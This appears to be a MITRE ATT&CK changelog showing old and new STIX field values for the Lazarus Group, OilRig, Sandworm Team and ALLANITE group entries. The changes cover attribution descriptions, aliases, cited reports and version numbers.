| description | [Lazarus Group](https://attack.mitre.org/groups/G0032) is a threat group that has been attributed to the North Korean government.(Citation: US-CERT HIDDEN COBRA June 2017) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster) In late 2017, [Lazarus Group](https://attack.mitre.org/groups/G0032) used KillDisk, a disk-wiping tool, in an attack against an online casino based in Central America. (Citation: Lazarus KillDisk) North Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group. | [Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group that has been attributed to the Reconnaissance General Bureau.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Korean Cyber Groups September 2019) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster) North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups, such as [Andariel](https://attack.mitre.org/groups/G0138), [APT37](https://attack.mitre.org/groups/G0067), [APT38](https://attack.mitre.org/groups/G0082), and [Kimsuky](https://attack.mitre.org/groups/G0094). |
| external_references[1]['source_name'] | Lazarus Group | Labyrinth Chollima |
| external_references[1]['description'] | (Citation: Novetta Blockbuster) | (Citation: CrowdStrike Labyrinth Chollima Feb 2022) |
| external_references[2]['source_name'] | HIDDEN COBRA | ZINC |
| external_references[2]['description'] | The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: US-CERT HOPLIGHT Apr 2019) | (Citation: Microsoft ZINC disruption Dec 2017) |
| external_references[3]['source_name'] | Guardians of Peace | Lazarus Group |
| external_references[3]['description'] | (Citation: US-CERT HIDDEN COBRA June 2017) | (Citation: Novetta Blockbuster) |
| external_references[4]['source_name'] | ZINC | NICKEL ACADEMY |
| external_references[4]['description'] | (Citation: Microsoft ZINC disruption Dec 2017) | (Citation: Secureworks NICKEL ACADEMY Dec 2017) |
| external_references[5]['source_name'] | NICKEL ACADEMY | Guardians of Peace |
| external_references[5]['description'] | (Citation: Secureworks NICKEL ACADEMY Dec 2017) | (Citation: US-CERT HIDDEN COBRA June 2017) |
| external_references[6]['source_name'] | US-CERT HIDDEN COBRA June 2017 | CrowdStrike Labyrinth Chollima Feb 2022 |
| external_references[6]['description'] | US-CERT. (2017, June 13). Alert (TA17-164A) HIDDEN COBRA – North Korea’s DDoS Botnet Infrastructure. Retrieved July 13, 2017. | CrowdStrike. (2022, February 1). CrowdStrike Adversary Labyrinth Chollima. Retrieved February 1, 2022. |
| external_references[6]['url'] | https://www.us-cert.gov/ncas/alerts/TA17-164A | https://adversary.crowdstrike.com/en-US/adversary/labyrinth-chollima/ |
| external_references[8]['source_name'] | Lazarus KillDisk | Secureworks NICKEL ACADEMY Dec 2017 |
| external_references[8]['description'] | Kálnai, P., Cherepanov A. (2018, April 03). Lazarus KillDisks Central American casino. Retrieved May 17, 2018. | Secureworks. (2017, December 15). Media Alert - Secureworks Discovers North Korean Cyber Threat Group, Lazarus, Spearphishing Financial Executives of Cryptocurrency Companies. Retrieved December 27, 2017. |
| external_references[8]['url'] | https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/ | https://www.secureworks.com/about/press/media-alert-secureworks-discovers-north-korean-cyber-threat-group-lazarus-spearphishing |
| external_references[9]['source_name'] | Kaspersky Lazarus Under The Hood Blog 2017 | Microsoft ZINC disruption Dec 2017 |
| external_references[9]['description'] | GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019. | Smith, B. (2017, December 19). Microsoft and Facebook disrupt ZINC malware attack to protect customers and the internet from ongoing cyberthreats. Retrieved December 20, 2017. |
| external_references[9]['url'] | https://securelist.com/lazarus-under-the-hood/77908/ | https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/ |
| external_references[10]['source_name'] | US-CERT HOPLIGHT Apr 2019 | HIDDEN COBRA |
| external_references[10]['description'] | US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019. | The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: US-CERT HOPLIGHT Apr 2019) |
| external_references[11]['source_name'] | Microsoft ZINC disruption Dec 2017 | Treasury North Korean Cyber Groups September 2019 |
| external_references[11]['description'] | Smith, B. (2017, December 19). Microsoft and Facebook disrupt ZINC malware attack to protect customers and the internet from ongoing cyberthreats. Retrieved December 20, 2017. | US Treasury . (2019, September 13). Treasury Sanctions North Korean State-Sponsored Malicious Cyber Groups. Retrieved September 29, 2021. |
| external_references[11]['url'] | https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/ | https://home.treasury.gov/news/press-releases/sm774 |
| external_references[12]['source_name'] | Secureworks NICKEL ACADEMY Dec 2017 | US-CERT HIDDEN COBRA June 2017 |
| external_references[12]['description'] | Secureworks. (2017, December 15). Media Alert - Secureworks Discovers North Korean Cyber Threat Group, Lazarus, Spearphishing Financial Executives of Cryptocurrency Companies. Retrieved December 27, 2017. | US-CERT. (2017, June 13). Alert (TA17-164A) HIDDEN COBRA – North Korea’s DDoS Botnet Infrastructure. Retrieved July 13, 2017. |
| external_references[12]['url'] | https://www.secureworks.com/about/press/media-alert-secureworks-discovers-north-korean-cyber-threat-group-lazarus-spearphishing | https://www.us-cert.gov/ncas/alerts/TA17-164A |
| x_mitre_version | 1.4 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | Labyrinth Chollima | |
| external_references | {'source_name': 'US-CERT HOPLIGHT Apr 2019', 'description': 'US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.', 'url': 'https://www.us-cert.gov/ncas/analysis-reports/AR19-100A'} |
Current version: 3.0
Version changed from: 1.4 → 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [OilRig](https://attack.mitre.org/groups/G0049) is a suspect | t | 1 | [OilRig](https://attack.mitre.org/groups/G0049) is a suspect |
| > | ed Iranian threat group that has targeted Middle Eastern and | > | ed Iranian threat group that has targeted Middle Eastern and | ||
| > | international victims since at least 2014. The group has ta | > | international victims since at least 2014. The group has ta | ||
| > | rgeted a variety of industries, including financial, governm | > | rgeted a variety of sectors, including financial, government | ||
| > | ent, energy, chemical, and telecommunications, and has large | > | , energy, chemical, and telecommunications. It appears the g | ||
| > | ly focused its operations within the Middle East. It appears | > | roup carries out supply chain attacks, leveraging the trust | ||
| > | the group carries out supply chain attacks, leveraging the | > | relationship between organizations to attack their primary t | ||
| > | trust relationship between organizations to attack their pri | > | argets. FireEye assesses that the group works on behalf of t | ||
| > | mary targets. FireEye assesses that the group works on behal | > | he Iranian government based on infrastructure details that c | ||
| > | f of the Iranian government based on infrastructure details | > | ontain references to Iran, use of Iranian infrastructure, an | ||
| > | that contain references to Iran, use of Iranian infrastructu | > | d targeting that aligns with nation-state interests.(Citatio | ||
| > | re, and targeting that aligns with nation-state interests. ( | > | n: Palo Alto OilRig April 2017)(Citation: ClearSky OilRig Ja | ||
| > | Citation: Palo Alto OilRig April 2017) (Citation: ClearSky O | > | n 2017)(Citation: Palo Alto OilRig May 2016)(Citation: Palo | ||
| > | ilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citat | > | Alto OilRig Oct 2016)(Citation: Unit 42 Playbook Dec 2017)(C | ||
| > | ion: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook | > | itation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT | ||
| > | Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit | > | July 2018) | ||
| > | 42 QUADAGENT July 2018) This group was previously tracked un | ||||
| > | der two distinct groups, APT34 and OilRig, but was combined | ||||
| > | due to additional reporting giving higher confidence about t | ||||
| > | he overlap of the activity. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-15 23:59:31.684000+00:00 | 2022-05-23 21:20:37.658000+00:00 |
| description | [OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018) This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity. | [OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of sectors, including financial, government, energy, chemical, and telecommunications. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests.(Citation: Palo Alto OilRig April 2017)(Citation: ClearSky OilRig Jan 2017)(Citation: Palo Alto OilRig May 2016)(Citation: Palo Alto OilRig Oct 2016)(Citation: Unit 42 Playbook Dec 2017)(Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018) |
| external_references[1]['source_name'] | OilRig | IRN2 |
| external_references[1]['description'] | (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: Unit 42 QUADAGENT July 2018) | (Citation: Crowdstrike Helix Kitten Nov 2018) |
| external_references[2]['source_name'] | IRN2 | OilRig |
| external_references[2]['description'] | (Citation: Crowdstrike Helix Kitten Nov 2018) | (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: Unit 42 QUADAGENT July 2018) |
| external_references[3]['source_name'] | HELIX KITTEN | COBALT GYPSY |
| external_references[3]['description'] | (Citation: Unit 42 QUADAGENT July 2018)(Citation: Crowdstrike Helix Kitten Nov 2018) | (Citation: Secureworks COBALT GYPSY Threat Profile) |
| external_references[4]['source_name'] | APT34 | HELIX KITTEN |
| external_references[4]['description'] | This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity. (Citation: Unit 42 QUADAGENT July 2018) (Citation: FireEye APT34 Dec 2017) | (Citation: Unit 42 QUADAGENT July 2018)(Citation: Crowdstrike Helix Kitten Nov 2018) |
| external_references[5]['source_name'] | Palo Alto OilRig April 2017 | Check Point APT34 April 2021 |
| external_references[5]['description'] | Falcone, R.. (2017, April 27). OilRig Actors Provide a Glimpse into Development and Testing Efforts. Retrieved May 3, 2017. | Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021. |
| external_references[5]['url'] | http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/ | https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/ |
| external_references[8]['source_name'] | Palo Alto OilRig Oct 2016 | Palo Alto OilRig April 2017 |
| external_references[8]['description'] | Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017. | Falcone, R.. (2017, April 27). OilRig Actors Provide a Glimpse into Development and Testing Efforts. Retrieved May 3, 2017. |
| external_references[8]['url'] | http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/ | http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/ |
| external_references[9]['source_name'] | Unit 42 Playbook Dec 2017 | Palo Alto OilRig Oct 2016 |
| external_references[9]['description'] | Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017. | Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017. |
| external_references[9]['url'] | https://pan-unit42.github.io/playbook_viewer/ | http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/ |
| external_references[10]['source_name'] | FireEye APT34 Dec 2017 | Unit 42 QUADAGENT July 2018 |
| external_references[10]['description'] | Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017. | Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018. |
| external_references[10]['url'] | https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html | https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/ |
| external_references[11]['source_name'] | Unit 42 QUADAGENT July 2018 | Crowdstrike Helix Kitten Nov 2018 |
| external_references[11]['description'] | Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018. | Meyers, A. (2018, November 27). Meet CrowdStrike’s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018. |
| external_references[11]['url'] | https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/ | https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/ |
| external_references[12]['source_name'] | Crowdstrike Helix Kitten Nov 2018 | FireEye APT34 Dec 2017 |
| external_references[12]['description'] | Meyers, A. (2018, November 27). Meet CrowdStrike’s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018. | Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017. |
| external_references[12]['url'] | https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/ | https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html |
| x_mitre_version | 1.4 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | COBALT GYPSY | |
| external_references | {'source_name': 'Secureworks COBALT GYPSY Threat Profile', 'description': 'Secureworks. (n.d.). COBALT GYPSY Threat Profile. Retrieved April 14, 2021.', 'url': 'https://www.secureworks.com/research/threat-profiles/cobalt-gypsy'} | |
| external_references | {'source_name': 'APT34', 'description': 'This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity. (Citation: Unit 42 QUADAGENT July 2018) (Citation: FireEye APT34 Dec 2017)(Citation: Check Point APT34 April 2021)'} | |
| external_references | {'source_name': 'Unit 42 Playbook Dec 2017', 'description': 'Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.', 'url': 'https://pan-unit42.github.io/playbook_viewer/'} | |
| x_mitre_contributors | Dragos Threat Intelligence |
Current version: 2.2
Version changed from: 1.0 → 2.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Sandworm Team](https://attack.mitre.org/groups/G0034) is a | t | 1 | [Sandworm Team](https://attack.mitre.org/groups/G0034) is a |
| > | destructive Russian threat group that has been attributed to | > | destructive threat group that has been attributed to Russia' | ||
| > | Russian GRU Unit 74455 by the U.S. Department of Justice an | > | s General Staff Main Intelligence Directorate (GRU) Main Cen | ||
| > | d U.K. National Cyber Security Centre. [Sandworm Team](https | > | ter for Special Technologies (GTsST) military unit 74455.(Ci | ||
| > | ://attack.mitre.org/groups/G0034)'s most notable attacks inc | > | tation: US District Court Indictment GRU Unit 74455 October | ||
| > | lude the 2015 and 2016 targeting of Ukrainian electrical com | > | 2020)(Citation: UK NCSC Olympic Attacks October 2020) This g | ||
| > | panies and 2017's [NotPetya](https://attack.mitre.org/softwa | > | roup has been active since at least 2009.(Citation: iSIGHT S | ||
| > | re/S0368) attacks. [Sandworm Team](https://attack.mitre.org/ | > | andworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Citation: U | ||
| > | groups/G0034) has been active since at least 2009.(Citation: | > | SDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb 2020) I | ||
| > | iSIGHT Sandworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Ci | > | n October 2020, the US indicted six GRU Unit 74455 officers | ||
| > | tation: USDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb | > | associated with [Sandworm Team](https://attack.mitre.org/gro | ||
| > | 2020) | > | ups/G0034) for the following cyber operations: the 2015 and | ||
| > | 2016 attacks against Ukrainian electrical companies and gove | ||||
| > | rnment organizations, the 2017 worldwide [NotPetya](https:// | ||||
| > | attack.mitre.org/software/S0368) attack, targeting of the 20 | ||||
| > | 17 French presidential campaign, the 2018 [Olympic Destroyer | ||||
| > | ](https://attack.mitre.org/software/S0365) attack against th | ||||
| > | e Winter Olympic Games, the 2018 operation against the Organ | ||||
| > | isation for the Prohibition of Chemical Weapons, and attacks | ||||
| > | against the country of Georgia in 2018 and 2019.(Citation: | ||||
| > | US District Court Indictment GRU Unit 74455 October 2020)(Ci | ||||
| > | tation: UK NCSC Olympic Attacks October 2020) Some of these | ||||
| > | were conducted with the assistance of GRU Unit 26165, which | ||||
| > | is also referred to as [APT28](https://attack.mitre.org/grou | ||||
| > | ps/G0007).(Citation: US District Court Indictment GRU Oct 20 | ||||
| > | 18) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Dragos Threat Intelligence'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-04 01:56:59.493000+00:00 | 2022-05-23 21:21:17.572000+00:00 |
| description | [Sandworm Team](https://attack.mitre.org/groups/G0034) is a destructive Russian threat group that has been attributed to Russian GRU Unit 74455 by the U.S. Department of Justice and U.K. National Cyber Security Centre. [Sandworm Team](https://attack.mitre.org/groups/G0034)'s most notable attacks include the 2015 and 2016 targeting of Ukrainian electrical companies and 2017's [NotPetya](https://attack.mitre.org/software/S0368) attacks. [Sandworm Team](https://attack.mitre.org/groups/G0034) has been active since at least 2009.(Citation: iSIGHT Sandworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Citation: USDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb 2020) | [Sandworm Team](https://attack.mitre.org/groups/G0034) is a destructive threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) This group has been active since at least 2009.(Citation: iSIGHT Sandworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Citation: USDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb 2020) In October 2020, the US indicted six GRU Unit 74455 officers associated with [Sandworm Team](https://attack.mitre.org/groups/G0034) for the following cyber operations: the 2015 and 2016 attacks against Ukrainian electrical companies and government organizations, the 2017 worldwide [NotPetya](https://attack.mitre.org/software/S0368) attack, targeting of the 2017 French presidential campaign, the 2018 [Olympic Destroyer](https://attack.mitre.org/software/S0365) attack against the Winter Olympic Games, the 2018 operation against the Organisation for the Prohibition of Chemical Weapons, and attacks against the country of Georgia in 2018 and 2019.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) Some of these were conducted with the assistance of GRU Unit 26165, which is also referred to as [APT28](https://attack.mitre.org/groups/G0007).(Citation: US District Court Indictment GRU Oct 2018) |
| external_references[1]['source_name'] | Sandworm Team | VOODOO BEAR |
| external_references[1]['description'] | (Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014) (Citation: InfoSecurity Sandworm Oct 2014) | (Citation: CrowdStrike VOODOO BEAR)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[2]['description'] | (Citation: Dragos ELECTRUM) | (Citation: Dragos ELECTRUM)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[3]['source_name'] | Telebots | Sandworm Team |
| external_references[3]['description'] | (Citation: NCSC Sandworm Feb 2020) | (Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014) (Citation: InfoSecurity Sandworm Oct 2014)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[4]['source_name'] | IRON VIKING | Quedagh |
| external_references[4]['description'] | (Citation: Secureworks IRON VIKING ) | (Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[5]['description'] | (Citation: NCSC Sandworm Feb 2020) | (Citation: NCSC Sandworm Feb 2020)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[6]['source_name'] | Quedagh | Telebots |
| external_references[6]['description'] | Based on similarities between TTPs, malware, and targeting, Sandworm Team and Quedagh appear to refer to the same group. (Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014) | (Citation: NCSC Sandworm Feb 2020)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[7]['source_name'] | VOODOO BEAR | IRON VIKING |
| external_references[7]['description'] | (Citation: CrowdStrike VOODOO BEAR) | (Citation: Secureworks IRON VIKING )(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[8]['source_name'] | iSIGHT Sandworm 2014 | US District Court Indictment GRU Oct 2018 |
| external_references[8]['description'] | Hultquist, J.. (2016, January 7). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved October 6, 2017. | Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020. |
| external_references[8]['url'] | https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html | https://www.justice.gov/opa/page/file/1098481/download |
| external_references[9]['source_name'] | CrowdStrike VOODOO BEAR | Dragos ELECTRUM |
| external_references[9]['description'] | Meyers, A. (2018, January 19). Meet CrowdStrike’s Adversary of the Month for January: VOODOO BEAR. Retrieved May 22, 2018. | Dragos. (2017, January 1). ELECTRUM Threat Profile. Retrieved June 10, 2020. |
| external_references[9]['url'] | https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-january-voodoo-bear/ | https://www.dragos.com/resource/electrum/ |
| external_references[10]['source_name'] | USDOJ Sandworm Feb 2020 | F-Secure BlackEnergy 2014 |
| external_references[10]['description'] | Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved June 18, 2020. | F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016. |
| external_references[10]['url'] | https://www.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia/ | https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf |
| external_references[11]['source_name'] | NCSC Sandworm Feb 2020 | iSIGHT Sandworm 2014 |
| external_references[11]['description'] | NCSC. (2020, February 20). NCSC supports US advisory regarding GRU intrusion set Sandworm. Retrieved June 10, 2020. | Hultquist, J.. (2016, January 7). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved October 6, 2017. |
| external_references[11]['url'] | https://www.ncsc.gov.uk/news/ncsc-supports-sandworm-advisory | https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html |
| external_references[12]['source_name'] | F-Secure BlackEnergy 2014 | CrowdStrike VOODOO BEAR |
| external_references[12]['description'] | F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016. | Meyers, A. (2018, January 19). Meet CrowdStrike’s Adversary of the Month for January: VOODOO BEAR. Retrieved May 22, 2018. |
| external_references[12]['url'] | https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf | https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-january-voodoo-bear/ |
| external_references[14]['source_name'] | Dragos ELECTRUM | NCSC Sandworm Feb 2020 |
| external_references[14]['description'] | Dragos. (2017, January 1). ELECTRUM Threat Profile. Retrieved June 10, 2020. | NCSC. (2020, February 20). NCSC supports US advisory regarding GRU intrusion set Sandworm. Retrieved June 10, 2020. |
| external_references[14]['url'] | https://www.dragos.com/resource/electrum/ | https://www.ncsc.gov.uk/news/ncsc-supports-sandworm-advisory |
| external_references[15]['source_name'] | Secureworks IRON VIKING | USDOJ Sandworm Feb 2020 |
| external_references[15]['description'] | Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020. | Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved June 18, 2020. |
| external_references[15]['url'] | https://www.secureworks.com/research/threat-profiles/iron-viking | https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia//index.html |
| x_mitre_version | 1.0 | 2.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'US District Court Indictment GRU Unit 74455 October 2020', 'description': 'Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.', 'url': 'https://www.justice.gov/opa/press-release/file/1328521/download'} | |
| external_references | {'source_name': 'Secureworks IRON VIKING ', 'description': 'Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020.', 'url': 'https://www.secureworks.com/research/threat-profiles/iron-viking'} | |
| external_references | {'source_name': 'UK NCSC Olympic Attacks October 2020', 'description': 'UK NCSC. (2020, October 19). UK exposes series of Russian cyber attacks against Olympic and Paralympic Games . Retrieved November 30, 2020.', 'url': 'https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games'} |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [ALLANITE](https://collaborate.mitre.org/attackics/index.php | t | 1 | [ALLANITE](https://attack.mitre.org/groups/G1000) is a suspe |
| > | /Group/G0009) is a suspected Russian cyber espionage group, | > | cted Russian cyber espionage group, that has primarily targe | ||
| > | that has primarily targeted the electric utility sector with | > | ted the electric utility sector within the United States and | ||
| > | in the United States and United Kingdom. The group's tactics | > | United Kingdom. The group's tactics and techniques are repo | ||
| > | and techniques are reportedly similar to [Dragonfly](https: | > | rtedly similar to [Dragonfly](https://attack.mitre.org/group | ||
| > | //collaborate.mitre.org/attackics/index.php/Group/G0002) / [ | > | s/G0035), although [ALLANITE](https://attack.mitre.org/group | ||
| > | Dragonfly 2.0](https://collaborate.mitre.org/attackics/index | > | s/G1000)s technical capabilities have not exhibited disrupti | ||
| > | .php/Group/G0006), although ALLANITE’s technical capabilitie | > | ve or destructive abilities. It has been suggested that the | ||
| > | s have not exhibited disruptive or destructive abilities. It | > | group maintains a presence in ICS for the purpose of gaining | ||
| > | has been suggested that the group maintains a presence in I | > | understanding of processes and to maintain persistence. (Ci | ||
| > | CS for the purpose of gaining understanding of processes and | > | tation: Dragos) | ||
| > | to maintain persistence. (Citation: Dragos ALLANITE) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Dragos Threat Intelligence'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['ics-attack'] | |
